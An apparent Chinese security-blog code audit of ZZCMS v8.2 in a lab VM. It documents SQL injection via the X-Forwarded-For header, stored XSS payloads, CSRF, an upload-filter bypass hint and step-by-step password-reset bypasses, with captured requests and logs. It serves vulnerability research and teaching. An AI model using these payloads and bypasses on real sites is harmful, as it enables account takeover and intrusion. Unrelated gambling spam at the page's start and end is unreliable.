今晚开什么生肖和特马

ZZCMS v8.2 代碼審計

2019-10-13 88919人圍觀 ,發現 5 個不明物體 WEB安全漏洞

0×00 前言

大家好,我是kn0sky,在此我將把我這一次進行的代碼審計的發現與收獲都記錄分析分享一下,筆者初入代碼審計不久,審計的方法也比較新手,本文有點傾向于面向代碼基礎薄弱的童鞋,如果有什么做的不好的地方或者有什么更好的建議,希望大家能夠指出,歡迎大家與我私信交流,在此提前謝謝大家啦~

這次在代碼審計前,我了解到要學會追蹤數據的流向,這有助于更好的理解漏洞形成的原理,這次我的審計策略是:

1.結合業務場景,逐個功能點進行測試,根據輸入來追蹤變量的最終形態;

2.搜集網上已有的相關漏洞信息,輔助理解;

0×01 準備工作

讓代碼運行起來:

ZZCMSv8.2源碼(網上可以找到)

VirtualBox + Ubuntu Server + LAMP安裝配置過程比較簡單,源碼里也有詳細的說明,在此略過

測試工具:

PhpStorm

Chromium

Burp Suite Community

一個小技巧

這里先分享一個小技巧:當我們要測試sql注入的時候,通過實時查看mysql的日志可以幫助我們更方便的看到sql語句是否成功執行,下面簡單講解一下實時查看日志的操作流程:

1.首先通過SSH連接我們測試用的虛擬機(我用的是Ubuntu)

2.打開mysql的配置文件:/etc/mysql/mysql.conf.d/mysqld.cnf

3.在[mysqld]下面加上這兩行,然后保存:

general_log_file        = /var/log/mysql/mysql.log
general_log             = 1

4.通過tail命令進行實時查看

sudo tail -f  /var/log/mysql/mysql.log

這樣一來,每當執行sql語句之后,這個窗口都會實時顯示sql執行情況,如果sql語句報錯,則不會顯示在日志中,這樣來研究測試sql注入就方便多了

0×02 審計過程

代碼我就不全部截下來了,我把關鍵部分拿出來分析

后臺登錄頁面存在驗證碼業務邏輯漏洞

后臺登錄界面真是非常的簡潔,啊

這里驗證碼通過POST方法提交給logincheck.php頁面,該程序處理驗證碼邏輯的流程非常簡單就一行

checkyzm($_POST["yzm"]);

調用的這個checkyzm()函數如下:

function checkyzm($yzm){
if($yzm!=$_SESSION["yzm_math"]){showmsg('驗證問題答案錯誤!','back');}
}

依然表達的非常簡單,如果驗證碼和環境變量中的驗證碼不一樣就彈提示框和退出

這個環境變量是怎么來的呢,我們來看看生成驗證碼的頁面code_math.php這里我省掉了一些無關的代碼,我們來看關鍵部分:

<?php
if(!isset($_SESSION)){session_start();} 
getCode(100, 20);
function getCode($w, $h) {
......
    $_SESSION['yzm_math'] = $num1 + $num2;
......
}
session_write_close();
?>

調用getCode()函數的時候,會生成一個驗證碼的環境變量當我們點擊刷新驗證碼的時候,才會調用此函數

綜上所述,我們可以得出結論:只要我們不刷新驗證碼,通過Burp攔截包,輸入一個正確的驗證碼之后,可以一直使用該驗證碼進行發送各種請求

后臺登錄頁面存在SQL注入漏洞

后臺頁面地址位于http://192.168.2.100/admin/login.php,這個login.php是個前端頁面,通過把請求發送給logincheck.php來進行登錄驗證,logincheck.php存在sql注入漏洞

logincheck.php漏洞代碼如下:

$ip=getip();
define('trytimes',50);//可嘗試登錄次數
define('jgsj',15*60);//間隔時間,秒
$sql="select * from zzcms_login_times where ip='$ip' and count>='".trytimes."' and unix_timestamp()-unix_timestamp(sendtime)<".jgsj." ";
$rs = query($sql); 
$row= num_rows($rs);
if ($row){
$jgsj=jgsj/60;
showmsg("密碼錯誤次數過多,請于".$jgsj."分鐘后再試!");
}

getip()這名稱很面熟,bluecms v1.6 sp1的sql注入漏洞就是getip()沒過濾參數導致的,這里的getip()也一樣

我們先來看getip()代碼:

function getip(){ 
if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown")) 
$ip = getenv("HTTP_CLIENT_IP"); 
else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown")) 
$ip = getenv("HTTP_X_FORWARDED_FOR"); 
else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown")) 
$ip = getenv("REMOTE_ADDR"); 
else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown")) 
$ip = $_SERVER['REMOTE_ADDR']; 
else 
$ip = "unknown"; 
return($ip); 
}

這里通過getenv()獲取指定HTTP頭信息,通過strcasecmp()來進行字符串比較,如果指定HTTP頭的長度比字符串unknown大,就返回>0的值,然后直接賦值給變量ip

簡而言之,就是沒有任何過濾,直接帶入變量ip并返回

我們再來看剛才的sql查詢語句:

$sql="select * from zzcms_login_times where ip='$ip' and count>='".trytimes."' and unix_timestamp()-unix_timestamp(sendtime)<".jgsj." ";

ip變量依舊沒有任何過濾,直接代入了查詢語句

所以,我們可以通過構造XFF頭來進行SQL注入

我們來看一下sql語句之后的代碼:

$rs = query($sql); 
$row= num_rows($rs);
if ($row){
$jgsj=jgsj/60;
showmsg("密碼錯誤次數過多,請于".$jgsj."分鐘后再試!");

程序將sql語句代入查詢,如果查詢成功了,則提示15分鐘禁止登錄,然后退出程序(showmsg()函數會執行exit操作)如果我們再次發送登錄請求呢,程序依然會進行sql查詢ip登錄次數,所以我們構造XFF頭進行sql注入不受影響,sql執行報錯也不會回顯,但通過觀察mysql日志可見sql語句確實執行了至于要如何利用,那就要看你的創造力了

后臺登錄頁面存在登錄邏輯組合漏洞

當我們構造XFF頭:

X-Forwarded-For: 192.168.2.108'

進行登錄的時候,因為加了單引號引起sql語句報錯,ip登錄次數等信息就不會被記錄到數據庫,所以返回的頁面信息一直不變,如下圖所示:

因為sql語句報錯(sql報錯不會出現在log信息中),所以沒有返回結果,不會觸發退出程序的操作,所以登錄操作的查詢依然會進行

驗證碼邏輯漏洞 + sql語句報錯導致可以無限進行登錄的邏輯漏洞 進行組合使用,這里可以進行賬號密碼爆破,當賬號密碼對了,就會返回一個不一樣頁面

后臺管理頁面網站信息設置功能存在存儲型XSS漏洞

登陸完成進入后臺之后,我們先來看看第一個功能:網站設置

這個頁面有一個功能,保存設置,當我們輸入完成相關的設置之后,點擊保存即可,保存請求會發送給siteconfig.php頁面我們來看一下保存設置相關代碼,可設置的內容很多,然而實際上能用得上的很少以下是保存設置的代碼,中間我省略了一些無關的參數過濾的部分

function SaveConfig(){
......
    $fpath="../inc/config.php";
    $fp=fopen($fpath,"w+");//fopen()的其它開關請參看相關函數
    $fcontent="<" . "?php\r\n";
......
    $fcontent=$fcontent. "define('sitename','". trim($_POST['sitename'])."') ;//網站名稱\r\n";
    $fcontent=$fcontent. "define('siteurl','". trim($_POST['siteurl'])."') ;//網站地址\r\n";
    $fcontent=$fcontent. "define('logourl','". trim($_POST['img'])."') ;//Logo地址\r\n";
    $fcontent=$fcontent. "define('icp','". trim($_POST['icp'])."') ;//icp備案號\r\n";
    $fcontent=$fcontent. "define('webmasteremail','". trim($_POST['webmasteremail'])."') ;//站長信箱\r\n";
    $fcontent=$fcontent. "define('kftel','". trim($_POST['kftel'])."') ;//聯系電話\r\n";
    $fcontent=$fcontent. "define('kfmobile','". trim($_POST['kfmobile'])."') ;//手機\r\n";
    $fcontent=$fcontent. "define('kfqq','". trim($_POST['kfqq'])."') ;//QQ\r\n";
    $fcontent=$fcontent. "define('sitecount','". str_replace('"','',str_replace("'",'',stripfxg($_POST['sitecount'],true)))."') ;//網站統計代碼\r\n";
    $fcontent=$fcontent. "define('channelzs','". trim($_POST['channelzs'])."') ;//招商顯示為\r\n";
    $fcontent=$fcontent. "define('channeldl','". trim($_POST['channeldl'])."') ;//代理顯示為\r\n";
......
    $fcontent=$fcontent. "define('maximgsize','". trim($_POST['maximgsize']) ."') ;  //圖片文件大小限制,單位K\r\n";
    $fcontent=$fcontent. "define('shuiyin','". trim($_POST['shuiyin'])."') ;//是否啟用水印功能\r\n";
    $fcontent=$fcontent. "define('syurl','". str_replace('/uploadfiles','uploadfiles',trim($_POST['syurl']))."') ;//水印圖片地址\r\n";    
......
    fputs($fp,$fcontent);//把替換后的內容寫入文件
    fclose($fp);
    echo  "<script>alert('設置成功');location.href='?'</script>";
}

首先打開文件,然后將參數加到變量$fcontent里,然后作為常量保存到文件里,這里不涉及數據庫,不存在SQL注入的問題

主要我們能夠有效控制的參數一部分來自基本信息設置,另一部分來自圖片上傳功能網站基本信息設置:

這里除了網站統計代碼,全都只是過濾了首尾的空格,我本來以為這里會有很多存儲型XSS呢,結果發現,在這些常量被引用的地方,常量被當成字符串進行輸出,所以不存在XSS,除了網站統計代碼這個地方我們來看一下網站統計代碼的過濾源碼:

function stripfxg($string,$htmlspecialchars_decode=false,$nl2br=false) {//去反斜杠 
$string=stripslashes($string);//去反斜杠,不開get_magic_quotes_gpc 的情況下,在stopsqlin中都加上了,這里要去了
if ($htmlspecialchars_decode==true){
$string=htmlspecialchars_decode($string);//轉html實體符號
}
if ($nl2br==true){
$string=nl2br($string);
}
return $string; 
}

去反斜杠,將尖括號轉換成html實體,單雙引號轉換為空字符,看起來過濾很嚴格嘛

我們再看之后的邏輯,這是緊接著調用的一個函數的一部分:

function showlabel($str){
global $b;//zsshow需要從zs/class.php獲取$b;zxshow從s/class.php獲取$b;
//checkver($str);
//固定標簽
$channels=array('ad','zs','dl','zx','pp','job','zh','announce','cookiezs','zsclass','keyword','province','sitecount');
foreach ($channels as $value) {
if (strpos($str,"{#show".$value.":")!==false){
$n=count(explode("{#show".$value.":",$str));//循環之前取值
    for ($i=1;$i<$n;$i++){ 
    $cs=strbetween($str,"{#show".$value.":","}");
    if ($cs<>''){$str=str_replace("{#show".$value.":".$cs."}",fixed($cs,$value),$str);}    //$cs直接做為一個整體字符串參數傳入,調用時再轉成數組遍歷每項值
    }    
}
......

這里程序又自己把尖括號給加上了,所以這里array的幾個常量如果可控的話,都有可能變成一個標簽插入網站中

所以網站統計代碼這里存在存儲型XSS漏洞,當我們輸入:

<script>alert`1`</script>

再刷新主頁的時候成功彈窗:

后臺管理頁面網站信息設置功能存在CSRF漏洞

這一塊信息設置除了網站統計代碼那里,還有一個地方比較有趣,那就是網站logo地址這里我們可以自己上傳圖片,也可以輸入網址引用網絡圖片例如:

我們來看一下網站對logo地址進行處理的幾個代碼首先,當我們保存好logourl之后,打開主頁的時候,網站會對logourl進行如下處理:

$strout=str_replace("{#logourl}",logourl,$strout);

然后作為字符串輸出到html標簽中

  <td width="380" height="80"><a href="{#siteurl}"><img src="{#logourl}" border="0" alt="{#sitekeyword}" onload="resizeimg(200,200,this)"></a></td>

當我們請求網站主頁的時候,瀏覽器就會向這個圖片的地址發起GET請求,我們將這個圖片地址換成其他地址也一樣:

這里由于對輸入的網絡地址沒有合理過濾,導致存在CSRF漏洞

綜上,此處存在GET型CSRF漏洞,至于如何利用,有機會以后再說

此外,這個信息頁面還可以從本地上傳logo文件,上傳文件做了三次過濾:

//檢查文件大小
if ($this->max_file_size*1024 < $this->fileName["size"]){
   echo "<script>alert('文件大小超過了限制!最大只能上傳 ".$this->max_file_size." K的文件');parent.window.close();</script>";exit;
}
//檢查文件類型//這種通過在文件頭加GIF89A,可騙過
if (!in_array($this->fileName["type"], $this->uptypes)) {
   echo "<script>alert('文件類型錯誤,支持的圖片類型為:jpg,gif,png,bmp');parent.window.close();</script>";exit;
}
//檢查文件后綴
$hzm=strtolower(substr($this->fileName["name"],strpos($this->fileName["name"],".")));//獲取.后面的后綴,如可獲取到.php.gif
if (strpos($hzm,"php")!==false || strpos($hzm,"asp")!==false ||strpos($hzm,"jsp")!==false){
echo "<script>alert('".$hzm.",這種文件不允許上傳');parent.window.close();</script>";exit;
}

(居然在注釋里寫繞過方法,第一次見。。。。)這里可通過加文件頭GIF89A上傳圖片木馬,我不知道該能不能繞過擴展名檢測,擴展名經過統一大小寫處理取第一個.后面的內容獲得,大小寫繞過,00截斷,pht后綴,都沒用,希望有經驗的大佬可以指點一二

后臺信息頁面信息發布存在存儲型XSS漏洞

我們直接來看點擊修改后網站執行的操作:

if ($_REQUEST["action"]=="add" && $_SESSION["admin"]<>''){
query("INSERT INTO zzcms_zh (bigclassid,title,address,timestart,timeend,content,passed,elite,sendtime)VALUES('$bigclassid','$title','$address','$timestart','$timeend','$content','$passed','$elite','".date('Y-m-d H:i:s')."')");
}elseif ($_REQUEST["action"]=="modify") {
query("update zzcms_zh set bigclassid='$bigclassid',title='$title',address='$address',timestart='$timestart',timeend='$timeend',content='$content',passed='$passed',elite='$elite',sendtime='".date('Y-m-d H:i:s')."' where id='$id'");    
}
echo  "<script>location.href='zh_manage.php?page=".$page."'</script>";

這里不管是新增還是修改,富文本編輯器的內容都會被HTML實體編碼直接存入數據庫,這里以展會信息管理為例,我們點擊富文本編輯器的源碼按鈕,寫入測試payload:

<svg/onload=alert`1`>

我們保存完這條信息之后,我們可以在首頁中找到該信息,當我們點開后:

彈框了,此處存在存儲型XSS漏洞

其實除了這一個地方,在該頁面上的其他信息發布的富文本輸入框里也均存在此問題

找回密碼頁面存在任意用戶密碼重置邏輯漏洞

這個重置密碼有兩種方式可以實現,修改POST請求,和修改驗證碼檢查響應包

我之前注冊了個賬號test,密碼是1111我現在突然忘了密碼是1111,要去找回密碼當我完成第一步的時候,點擊下一步,我抓包看到請求是這樣的:

POST /one/getpassword.php HTTP/1.1
Host: 192.168.2.100
Content-Length: 88
Cache-Control: max-age=0
Origin: http://192.168.2.100
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/76.0.3809.100 Chrome/76.0.3809.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://192.168.2.100/one/getpassword.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=4qoqvbaru1mvbeh1njjsr9844q; bdshare_firstime=1569335083264; BEEFHOOK=o0ZqvYoil6rauWmSpdpAfp7L0iGwjDdN6YWBLhiBsPGDQnfaO0yJFYizFwAWL0ToLmEGMUoaKyIpb0qo
Connection: close
username=test&username2=&action=step1&yzm=20&yzm2=yes&submit=%E4%B8%8B%E4%B8%80%E6%AD%A5

我們提交了很多參數,我們去提交到的那個文件看看源碼:

if ($action=="step1"){
$username = isset($_POST['username'])?$_POST['username']:"";
$_SESSION['username']=$username;
checkyzm($_POST["yzm"]);
$rs=query("select mobile,email from zzcms_user where username='" . $username . "' ");
$row=fetch_array($rs);
$regmobile=$row['mobile'];
$regmobile_show=str_replace(substr($regmobile,3,4),"****",$regmobile);
$regemail=$row['email'];
$regemail_show=str_replace(substr($regemail,1,2),"**",$regemail);
}elseif($action=="step2"){
$strout=str_replace("{step3}","",$strout) ;
$strout=str_replace("{/step3}","",$strout) ;    
$strout=str_replace("{step1}".$step1."{/step1}","",$strout) ;
$strout=str_replace("{step2}".$step2."{/step2}","",$strout) ;
$strout=str_replace("{step4}".$step4."{/step4}","",$strout) ;
}elseif($action=="step3" && @$_SESSION['username']!=''){
$passwordtrue = isset($_POST['password'])?$_POST['password']:"";
$password=md5(trim($passwordtrue));
query("update zzcms_user set password='$password',passwordtrue='$passwordtrue' where username='"[email protected]$_SESSION['username']."'");
$strout=str_replace("{step4}","",$strout) ;
$strout=str_replace("{/step4}","",$strout) ;    
$strout=str_replace("{step1}".$step1."{/step1}","",$strout) ;
$strout=str_replace("{step2}".$step2."{/step2}","",$strout) ;
$strout=str_replace("{step3}".$step3."{/step3}","",$strout) ;
$strout=str_replace("{#username}",@$_SESSION['username'],$strout) ;
}

提交參數step為step1的請求的時候,網站會把用戶名裝到$_SESSION['username']里,然后檢查一下其他信息

然后會轉到一個需要填寫郵箱驗證碼的頁面:

這里我用的郵箱是編造的,自然不會收到郵件,當然,好像虛擬環境也沒裝發郵件的服務

當我們隨便輸入點什么的時候,這時候Burp攔截到了一個請求:

GET /ajax/yzm_check_ajax.php?id=1234 HTTP/1.1
Host: 192.168.2.100
Accept: text/html, */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/76.0.3809.100 Chrome/76.0.3809.100 Safari/537.36
Referer: http://192.168.2.100/one/getpassword.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=4qoqvbaru1mvbeh1njjsr9844q; bdshare_firstime=1569335083264; BEEFHOOK=o0ZqvYoil6rauWmSpdpAfp7L0iGwjDdN6YWBLhiBsPGDQnfaO0yJFYizFwAWL0ToLmEGMUoaKyIpb0qo
Connection: close

我們來看看這個檢查驗證碼是否正確的頁面的源碼:

<?php
$id=$_GET['id'];//ID值是傳過來的$yzm_mobile
$founderr=0;
if ($id==''){
$founderr=1;
$msg= "請輸入驗證碼";
}else{
    if(time()-intval(@$_SESSION['yzm_sendtime'])>120){
    $founderr=1;
    $msg="請重新獲取驗證碼";
    }else{
        if ([email protected]$_SESSION['yzm_mobile']){
        $founderr=1;
        $msg="驗證碼不正確";
        }
    }
}
    if ($founderr==1){
    echo "<span class='boxuserreg'>".$msg."</span>";
    echo "<script>window.document.userreg.yzm_mobile2.value='no';</script>";
    }else{
    echo "<img src=/image/dui2.png>";
    echo "<script>window.document.userreg.yzm_mobile2.value='yes';</script>";
    echo "<script>document.userreg.yzm_mobile.style.border = '1px solid #dddddd';</script>";
    }
?>

輸入驗證碼正確了,founderr=0,否則等于1當founderr為0時,返回yes到前端,為1時,返回no到前端

我們再來看看前端代碼:

{step2}
<div class="getpass_step bigbigword">
<li><span>1</span> 確認帳號</li>
<li class="current"><span>2</span> 進行安全驗證</li>
<li><span>3</span> 設置新密碼</li>
</div>
<div style="clear:both"></div>
<div class="biaodanstyle">
<form name="userreg" method="post" action="" style="padding:13px" onsubmit="return Checkstep2()">
<li><span class="lefttext">驗證方式</span>

這里調用了Checkstep2()函數:

function Checkstep2(){
    if (document.userreg.yzm_mobile.value==""){
    document.userreg.yzm_mobile.style.border = '1px solid #FF0000';
    window.document.getElementById('ts_yzm_mobile').innerHTML="<span class='boxuserreg'>請輸入驗證碼</span>";
    document.userreg.yzm_mobile.focus();    
    return false;
    }
    if (document.userreg.yzm_mobile2.value=="no"){
    document.userreg.yzm_mobile.style.border = '1px solid #FF0000';
    return false;
    }
}

很顯然,當我們驗證碼檢查返回值為no和空的時候,我們不能進入下一步

但是這個返回值是直接發給客戶端的,我們可以通過Burp修改一下:

這樣一來,客戶端收到的返回值就不是no也不為空了

然后我們點擊下一步:

設置好新密碼,重新登錄,登陸成功

這里重置密碼其實還有第二種方法可以實現在確認賬號那個頁面

輸入完信息點擊下一步之后,Burp攔截數據包,將數據包發送到Repeater模塊中備用,然后再發送當前攔截的數據包進入下一階段

這個時候我們回到Repeater模塊中,將數據包里POST提交的參數進行簡單的修改:

1.修改step=step3

2.新增password=1234

然后再把數據包發出去

即可完成密碼重置

至于為什么要先進入第二步再發包,因為進入到第二步的時候,服務器才會把用戶名存到變量中,然后請求第三步讓服務器改這個用戶名的密碼

用戶登錄注冊頁面存在爆破用戶名密碼的邏輯漏洞

在注冊頁面,當我們輸入一個用戶名的時候,會發送一個檢查用戶名是否被注冊的請求:

GET /reg/userregcheck.php?action=checkusername&id=haha HTTP/1.1
Host: 192.168.2.100
Accept: text/html, */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/76.0.3809.100 Chrome/76.0.3809.100 Safari/537.36
Referer: http://192.168.2.100/reg/userreg.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=4qoqvbaru1mvbeh1njjsr9844q; bdshare_firstime=1569335083264; BEEFHOOK=o0ZqvYoil6rauWmSpdpAfp7L0iGwjDdN6YWBLhiBsPGDQnfaO0yJFYizFwAWL0ToLmEGMUoaKyIpb0qo
Connection: close

發送這個請求沒有任何限制,所以可以修改參數id來進行用戶名爆破

用戶登錄頁面,這個登錄請求和后臺登錄頁面的請求是一樣的,所以后臺登錄存在的問題這里也都存在,詳情見文章開頭

用戶中心頁面存在SQL注入漏洞

在普通用戶登錄之后,會進到用戶中心,左邊那一欄有個群發消息功能,點擊郵件/短信內容設置

這時候我們會看到這個短信內容模板的富文本編輯框,我們隨便輸入點啥然后點擊提交通過攔包我們可以發現,這個請求發給了msg.php文件

POST /user/msg.php?action=savedata&saveas=add HTTP/1.1
Host: 192.168.2.100
Content-Length: 56
Cache-Control: max-age=0
Origin: http://192.168.2.100
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/76.0.3809.100 Chrome/76.0.3809.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://192.168.2.100/user/msg.php?action=add
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=4qoqvbaru1mvbeh1njjsr9844q; bdshare_firstime=1569335083264; BEEFHOOK=o0ZqvYoil6rauWmSpdpAfp7L0iGwjDdN6YWBLhiBsPGDQnfaO0yJFYizFwAWL0ToLmEGMUoaKyIpb0qo; UserName=test; PassWord=81dc9bdb52d04dc20036dbd8313ed055
Connection: close
info_content=666666666666666&Submit=%E6%8F%90%E4%BA%A4

我們來看看相關代碼:

<?php
$go=0;
if (isset($_REQUEST['action'])){
$action=$_REQUEST['action'];
}else{
$action="";
}
if (isset($_REQUEST['id'])){
$id=$_REQUEST['id'];
}else{
$id=1;
}
checkid($id);
if ($action=="savedata" ){
    $saveas=trim($_REQUEST["saveas"]);
    $content=stripfxg(rtrim($_POST["info_content"]));
    if ($saveas=="add"){
    query("insert into zzcms_msg (content)VALUES('$content') ");
    $go=1;
    }elseif ($saveas=="modify"){
    query("update zzcms_msg set content='$content' where id=". $_POST['id']." ");
    $go=1;
    }
}
?>

當我們點擊提交之后,我們提交的內容存在info_content參數里,這個參數被直接賦值給了$content變量,緊接著$content變量被直接帶入sql語句執行

我們來看看我們構造sql語句看是否能正常執行我們發送一個正常的參數(66666666666),然后查看mysql的日志:

2019-09-26T12:45:25.703705Z     1744 Connect    [email protected] on zz using Socket
2019-09-26T12:45:25.704549Z     1744 Query    SET NAMES 'utf8'
2019-09-26T12:45:25.704969Z     1744 Init DB    zz
2019-09-26T12:45:25.705356Z     1744 Query    select id,usersf,lastlogintime from zzcms_user where lockuser=0 and username='test' and password='81dc9bdb52d04dc20036dbd8313ed055'
2019-09-26T12:45:25.705893Z     1744 Query    UPDATE zzcms_user SET loginip = '192.168.2.107' WHERE username='test'
2019-09-26T12:45:25.706701Z     1744 Query    UPDATE zzcms_user SET lastlogintime = '2019-09-26 20:45:25' WHERE username='test'
2019-09-26T12:45:25.707546Z     1744 Query    insert into zzcms_msg (content)VALUES('666666666666666')
2019-09-26T12:45:25.708232Z     1744 Query    select groupname,grouppic from zzcms_usergroup where groupid=(select groupid from zzcms_user where username='test')
2019-09-26T12:45:25.708840Z     1744 Query    select groupid,totleRMB,startdate,enddate from zzcms_user where username='test'
2019-09-26T12:45:25.709627Z     1744 Query    select classid from zzcms_zxclass where classname='公司新聞'
2019-09-26T12:45:25.710282Z     1744 Query    select id from zzcms_dl where saver='test' and looked=0 and del=0 and passed=1
2019-09-26T12:45:25.710908Z     1744 Query    select id from zzcms_guestbook where saver='test' and looked=0 and passed=1
2019-09-26T12:45:25.712539Z     1744 Quit

可見,數據庫執行了插入操作,數據庫執行報錯的操作不會顯示在日志里,我們構造一個會報錯的參數(666666666666666666′),然后查看日志:

2019-09-26T12:47:13.694499Z     1745 Connect    [email protected] on zz using Socket
2019-09-26T12:47:13.695120Z     1745 Query    SET NAMES 'utf8'
2019-09-26T12:47:13.695691Z     1745 Init DB    zz
2019-09-26T12:47:13.696222Z     1745 Query    select id,usersf,lastlogintime from zzcms_user where lockuser=0 and username='test' and password='81dc9bdb52d04dc20036dbd8313ed055'
2019-09-26T12:47:13.696930Z     1745 Query    UPDATE zzcms_user SET loginip = '192.168.2.107' WHERE username='test'
2019-09-26T12:47:13.697949Z     1745 Query    UPDATE zzcms_user SET lastlogintime = '2019-09-26 20:47:13' WHERE username='test'
2019-09-26T12:47:13.699087Z     1745 Query    select groupname,grouppic from zzcms_usergroup where groupid=(select groupid from zzcms_user where username='test')
2019-09-26T12:47:13.699802Z     1745 Query    select groupid,totleRMB,startdate,enddate from zzcms_user where username='test'
2019-09-26T12:47:13.700696Z     1745 Query    select classid from zzcms_zxclass where classname='公司新聞'
2019-09-26T12:47:13.701422Z     1745 Query    select id from zzcms_dl where saver='test' and looked=0 and del=0 and passed=1
2019-09-26T12:47:13.702322Z     1745 Query    select id from zzcms_guestbook where saver='test' and looked=0 and passed=1
2019-09-26T12:47:13.704513Z     1745 Quit

由此可見,加上單引號之后,sql語句報錯,沒有執行成功我們構造參數為66666666′)#再來驗證一下,日志如下:

2019-09-26T12:48:37.594592Z     1746 Connect    [email protected] on zz using Socket
2019-09-26T12:48:37.595058Z     1746 Query    SET NAMES 'utf8'
2019-09-26T12:48:37.595459Z     1746 Init DB    zz
2019-09-26T12:48:37.595888Z     1746 Query    select id,usersf,lastlogintime from zzcms_user where lockuser=0 and username='test' and password='81dc9bdb52d04dc20036dbd8313ed055'
2019-09-26T12:48:37.596379Z     1746 Query    UPDATE zzcms_user SET loginip = '192.168.2.107' WHERE username='test'
2019-09-26T12:48:37.597443Z     1746 Query    UPDATE zzcms_user SET lastlogintime = '2019-09-26 20:48:37' WHERE username='test'
2019-09-26T12:48:37.598120Z     1746 Query    insert into zzcms_msg (content)VALUES('666666666666666')#')
2019-09-26T12:48:37.598947Z     1746 Query    select groupname,grouppic from zzcms_usergroup where groupid=(select groupid from zzcms_user where username='test')
2019-09-26T12:48:37.599548Z     1746 Query    select groupid,totleRMB,startdate,enddate from zzcms_user where username='test'
2019-09-26T12:48:37.600286Z     1746 Query    select classid from zzcms_zxclass where classname='公司新聞'
2019-09-26T12:48:37.600898Z     1746 Query    select id from zzcms_dl where saver='test' and looked=0 and del=0 and passed=1
2019-09-26T12:48:37.601499Z     1746 Query    select id from zzcms_guestbook where saver='test' and looked=0 and passed=1
2019-09-26T12:48:37.603705Z     1746 Quit

那條插入語句又重新出現在了日志中

綜上,此處存在sql注入漏洞

普通用戶登陸進去后的會員中心還存在一些小漏洞,這里就不一一列舉了,有興趣的童鞋可以自行探索交流

0×03 總結&感想

SQL注入我本來想用DNSLOG注入來驗證的,但是我發現通過tail -f命令去查看mysql日志更方便,所以就偷懶沒用DNSLOG注入了

不論是XSS還是SQL注入漏洞,皆來自對用戶輸入的過濾不充分,甚至有些地方都沒有任何過濾,這個CMS在某些業務邏輯上也出現問題很大的漏洞,我前段時間在網上見到過這么一句話:“知識面決定攻擊面,知識鏈決定攻擊鏈”,光發現漏洞的存在是遠遠不夠的,還需要思考實踐漏洞是如何利用的,能用來做什么,會造成多大危害等問題

所謂努力,是每一天的積累;所謂成長,是每一天的思考;在這次歷時三天的代碼審計練習中,雖然審計出來的漏洞很基礎,但是收獲很多,從剛開始看到這么多代碼不知如何下手,到漸漸思考審計的思路與方法,也許,成長,就在于這一點一滴的思考中,在實踐中思考,在思考中實踐,逐漸積累經驗,重視基礎知識;學習最重要的不是效率,而是堅持,其次才是高效,哪怕走得很慢,也要不斷前進啊,在過程中我們也許就會逐漸發現自己的問題并逐一改正,不浮躁,靜下心慢慢來,不斷迭代學習方法、思考方式,逐漸找到那個獨一無二的自己。

希望我這篇代碼審計能夠幫到有需要的人,謝謝大家的觀看

*本文原創作者:Kn0sky,本文屬于FreeBuf原創獎勵計劃,未經許可禁止轉載

相關推薦
發表評論

已有 5 條評論

取消
Loading...
Kn0sky

這家伙太懶,還未填寫個人描述!

1 文章數 0 評論數 0 關注者

最近文章

特別推薦

推薦關注

活動預告

填寫個人信息

姓名
電話
郵箱
公司
行業
職位
css.php 今晚开什么生肖和特马 江西十一选五 足球比赛比分查询 脱兔电竞比分网维科技术 正规理财平台2017 海南环岛赛 11选5任3口诀 实时nba比分 邵阳麻将怎么打 足彩竞彩比分结果 即时赔率足球 p2p理财平台排名前十 一本道超级名模82弹 江苏十一选五的开奖 怎样申请河北麻将代理 伊朗队与西班牙比分预测 亿多配资